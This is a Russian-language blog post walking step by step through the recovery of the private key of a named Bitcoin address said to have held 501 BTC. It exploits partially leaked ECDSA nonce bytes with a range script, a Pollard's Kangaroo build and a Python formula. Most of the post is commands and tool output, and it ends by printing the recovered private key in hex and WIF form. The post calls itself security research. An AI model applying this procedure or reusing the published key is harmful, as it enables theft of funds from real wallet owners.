Перейти к содержанию

Pollard's Kangaroo находим решения дискретного логарифма secp256k1 PRIVATE KEY + NONCES в известном диапазоне


CryptoDeepTech

2 518 просмотров

 

 

В этой статье мы рассмотрим самый быстрый алгоритм для ECDLP из области вычислительной теории чисел, кенгуру Полларда также называют алгоритм лямбды Полларда.

Метод кенгуру Полларда вычисляет дискретные логарифмы в произвольных циклических группах. Он применяется, если известно, что дискретный логарифм лежит в определенном диапазоне, скажем [ a , b ], а затем имеет ожидаемое время выполнения групповой операции.

Преимущество Pollard's Kangaroo:

  • использует очень мало памяти

  • можно распараллелить с линейным ускорением

  • можно эффективно отслеживать требования к объему памяти

Все это делает метод кенгуру самым мощным методом решения задачи дискретного логарифмирования.

Один из способов сломать схемы подписи ECDSA — это решить проблему дискретного логарифмирования.

В настройках ECDSA алгоритмы субэкспоненциального времени, такие как метод индексного исчисления, не применяются, а лучшим известным на сегодняшний день методом решения лежащем в их основе DLP являются метод кенгуру Полларда. Мы постараемся не нагружать вас с различными теоретическими аспектами. Перейдем сразу к экспериментальной части.

Как мы знаем в блокчейне Биткоина отправитель монет BTC всегда раскрывает свой публичный ключ.

Для метода кенгуру Полларда достаточно знать публичный ключ или значение сигнатуры R ( значение R - это тоже своего рода публичный ключ от Nonces т.к. это точка координата x на плоскости эллиптической кривой secp256k1)

Остается только определить диапазон PRIVATE KEY или диапазон NONCES.

Случается такое что некоторые устройства которые создают подписиECDSAв блокчейне Биткоина могут частично раскрывать байты информации о значение "K" (NONCES)

Мы считаем что это потенциальная угроза потери монет BTC и настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.

В недалеком прошлом мы провели криптоанализ в блокчейне Биткоина и нашли несколько таких транзакции.

Итак, взгляните на этот Биткоин Адрес на сумму вывода монет 501.06516041 BTC

3d9756d50d09b0584c5967175184dd42.png  

В транзакциях этого Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAEбыла частичная раскрываемость байтов информации о значение "K" (NONCES)

Как мы знаем из прошлой нашей статьи

habr.com/ru/post/671932/ habr.com/ru/post/671932/

Поиск диапазона секретного ключа

Давайте найдем эту транзакцию и с помощью метода кенгуру Полларда восстановим секретный ключ

Ранее мы записывали видеоинструкцию«TERMINAL в Google Colab создаем все удобства для работ в GITHUB»

Откроем в терминале Google Colab [TerminalGoogleColab]

Для поиска RawTX воспользуемся репозиторием «01BlockchainGoogleDrive»

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/01BlockchainGoogleDrive/

chmod +x getrawtx.sh

./getrawtx.sh 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
Запуск Bash-скрипта: getrawtx.sh Запуск Bash-скрипта: getrawtx.sh

Всё содержимые транзакции Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE сохранилось в файл: RawTX.json

Открываем файл: RawTX.json и находим эту транзакцию [строка №10]

2c1dca20782c1e09325836c491aeaaf0.png  

Воспользуемся командой export и сохраним эту строку №10 из RawTX.jsonотдельно в RawTX.txt

export LINE=10 ; sed -n "${LINE}p" RawTX.json > RawTX.txt
b8b0c25080dfe2ad36c112e2f0015e72.png  
cat RawTX.txt
b1aa44976ad24df74e02246a8747db31.png  

Узнаем TxID откроем сайт Decode Raw Bitcoin Hexadecimal Transaction и вставим наш RawTXВ результате мы получаем TxID

1662922df068e4d009f0efcbecc2089d.png  

В результате мы получаем TxID

TxID: b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b TxID: b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b

Открываем по ссылке TxID:
https://btc.exan.tech/tx/b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b

c325a8e40de9ca6f15431dac1dcfe274.png   Проверяем RawTX Проверяем RawTX

Теперь узнаем частичную раскрываемость байтов информации о значение "K" (NONCES)

Для этого мы воспользуемся скриптом «RangeNonce»

«RangeNonce» - это скрипт по поиску диапазона секретного ключа

Выберем версию для дистрибутива GNU/Linux т.к. Google Colab предоставляет UBUNTU 18.04

RangeNonce RangeNonce

Загрузим все файлы в Google Colab

RangeNonce + Google Colab RangeNonce + Google Colab

Разрешим права доступа для скрипта и запустим скрипт «RangeNonce»

Команды:

chmod +x RangeNonce
./RangeNonce
cat Result.txt
8ff5460c3570ebbbb3c7fb0f6a394fd9.png  

Все сохранится в файл: Result.txt

Result.txt Result.txt

Это и есть частичная раскрываемость байтов информации значение "K" (NONCES)

Итак, наш секретный ключ находится в диапазоне:

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000
K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff
204ef79845ae3d93a9c93d43f81e484b.png  

Обратите внимание, на первоначальные 32 цифр и букв HEX формата значение сигнатуры Z совпадает с диапазоном секретного ключа то есть значение "K" (NONCES)

Это очень серьезная ошибка подписи ECDSA

Как мы говорили выше для метода кенгуру Полларда достаточно знать публичный ключ или значение сигнатуры R ( значение R - это тоже своего рода публичный ключ от Nonces т.к. это точка координата x на плоскости эллиптической кривой secp256k1)

Значение сигнатуры R в нашем случае:

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Скрипт RangeNonce добавил нужный нам префикс 02 создав сжатый публичный ключ

K_PUBKEY = 0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Теперь у нас есть информация:

  • диапазон секретного ключа

  • сжатый публичный ключ

Воспользуемся исходным кодом для сборки программы Pollard's Kangaroo от французского разработчика Jean-Luc PONS

Обратите внимание, что вы можете самостоятельно сделать сборку на CUDAдля GPU чтобы увеличить скорость расчетов

afc280ae86d3febb27f1008e8927ae89.png  

Мы сделаем обычную сборку для CPU

Команды:

cd /

cd content/CryptoDeepTools/06KangarooJeanLucPons/

ls
394eceecf11f26952a6fc87a10be2dbc.png  
sudo apt-get update
2bce90cd55b48787511363f9976adbd6.png  
sudo apt-get install g++ -y
sudo apt-get install libgmp3-dev libmpfr-dev -y
707e190da23fd6b83eead65bce771b5b.png  

После всех установок пакетов сделаем сборку запустив простую команду:

make
663476ae36f13e98d23f8ee3e879b545.png   1ea932dd2bd751c24fa95821c6833523.png  

Сборка прошла успешно!

Проверим версию:

./kangaroo -v
76df5253202c44d068af867a812d11db.png  

Итак, мы создали версию «Kangaroo v2.2»

Чтобы продемонстрировать работоспособность «Kangaroo v2.2» для CPUприподнимем диапазон и сохраним все в файл: rangepubkey.txt

Открываем текстовый файл: rangepubkey.txt

8ac477f4c2423dc5ff4cce2407481540.png  
070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b2100000000000000
070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b21ffffffffffffff
0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
Очистим терминал командой:

clear

Запустим «Kangaroo v2.2» результат будет автоматический сохранен в файл: savenonce.txt

./kangaroo -ws -w save.work -wi 30 -o savenonce.txt rangepubkey.txt
ae877a6f49f7781d70cf6a986deea751.png   5eb0b22e395bd62b5a577a37ba2bebef.png   e2d6a1e3ab4cd4bb5be0c58eed1ca6f7.png  

Время поиска заняло 1 мин. 18 сек.

Результат в файле: savenonce.txt

76bfb1f4e28f14cebba9b68c31e510ec.png  

Откроем файл: savenonce.txt

50d1fd7aecc8ea69cdb12d8f73830d8b.png  

Мы получили секретный ключ это и есть значение "K" (NONCES)

Key# 0 [1S]Pub:  0x0283FE1C06236449B69A7BEE5BE422C067D02C4CE3F4FA3756BD92C632F971DE06 
       Priv: 0x70239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 


070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000 # RangeNonce
K = 070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 # NONCES
K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff # RangeNonce

Закрытый ключ

Теперь зная значение "K" (NONCES) мы восстановим закрытый ключ к Биткоин Адресу: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

Вернемся к началу, как мы помним скрипт «RangeNonce» раскрыл нам информациюо диапазоне значение "K" (NONCES), а так же информацию SIGNATURES

SIGNATURES SIGNATURES
R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
S = 7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7
Z = 070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7

Получим закрытый ключ по формуле на Python-скрипт: calculate.py

PRIVKEY = ((((S * K) - Z) * modinv(R,N)) % N)
def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
R = 0x83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
S = 0x7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7
Z = 0x070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7
K = 0x070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

print (h((((S * K) - Z) * modinv(R,N)) % N))

Команды:

wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/02BreakECDSAcryptography/calculate.py

python3 calculate.py
PRIVKEY = 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b PRIVKEY = 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b
ADDR: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
WIF:  5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e
HEX:  23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b
Проверяем закрытый ключ на сайте bitaddress Проверяем закрытый ключ на сайте bitaddress

Закрытый ключ найден!

www.blockchain.com/btc/address/14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE www.blockchain.com/btc/address/14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN

Исходный код

Telegramhttps://t.me/cryptodeeptech

Видеоматериалhttps://youtu.be/UGUJyxOhBBQ

Источникhttps://cryptodeep.ru/kangaroo


 

Изменено пользователем CryptoDeepTech

0 Комментариев


Рекомендуемые комментарии

Комментариев нет

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
  • Последние посетители   0 пользователей онлайн

    • Ни одного зарегистрированного пользователя не просматривает данную страницу
×
×
  • Создать...